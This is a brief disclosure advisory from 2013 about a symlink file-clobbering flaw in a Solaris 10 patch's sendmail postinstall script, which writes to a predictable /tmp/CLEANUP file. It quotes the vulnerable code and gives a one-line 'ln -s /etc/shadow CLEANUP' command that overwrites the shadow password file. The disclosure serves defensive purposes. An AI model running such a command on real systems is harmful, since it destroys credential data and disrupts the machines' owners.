File clobbering vulnerability in Solaris 10 patch cluster
3/27/2013
Larry W. Cashdollar
@_larry0
Hello,
The 147147-26 patch creates a CLEANUP file in /tmp that is vulnerable to symlink attacks:
The contents of the file created in /tmp are:
/sbin/sh:root@dev-unix-sec02# cat CLEANUP
EXISTING_FILE_PRESERVED: /var/run/.patchSafeMode/root/etc/security/audit_event /var/run/.patchSafeMode/root/etc/security/audit_event.new
EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/sendmail.cf /var/run/.patchSafeMode/root/etc/mail/sendmail.cf.old EXISTING_FILE_RENAMED: /var/run/.patchSafeMode/root/etc/mail/submit.cf /var/run/.patchSafeMode/root/etc/mail/submit.cf.old
Sendmail has been upgraded to version 8.14.5 . After you reboot, you may want to run
/usr/sbin/check-hostname
and
/usr/sbin/check-permissions ALL
These two shell-scripts will check for common mis-configurations and recommend corrective action, or report if things are OK.
-rw-r--r-- 1 root other 662 Mar 27 13:03 CLEANUP
The vulnerable code can be found in ./SUNWsndmu/install/postinstall:
540 CLEANUP=/tmp/CLEANUP
541
542 if [ "x$UPDATE" = xyes ]; then
543 VERSION=`grep '^DZ' $PKG_INSTALL_ROOT/etc/mail/sendmail.cf | \
544 sed -e s/DZ//`
545 echo "\nSendmail has been upgraded to version $VERSION ." >>$CLE
ANUP
546 echo "After you reboot, you may want to run" >>$CLEANUP
547 echo "\t/usr/sbin/check-hostname" >>$CLEANUP
548 echo "and" >>$CLEANUP
549 echo "\t/usr/sbin/check-permissions ALL" >>$CLEANUP
550 echo "These two shell-scripts will check for common" >>$CLEANUP
551 echo "misconfigurations and recommend corrective" >>$CLEANUP
552 echo "action, or report if things are OK.\n" >>$CLEANUP
553 fi
A simple attack in /tmp can clobber /etc/shadow:
[/tmp $] ln -s /etc/shadow CLEANUP
Will over write the contents of /etc/shadow.
Oracle has been notified 3/27/2013 and they are working on a fix.
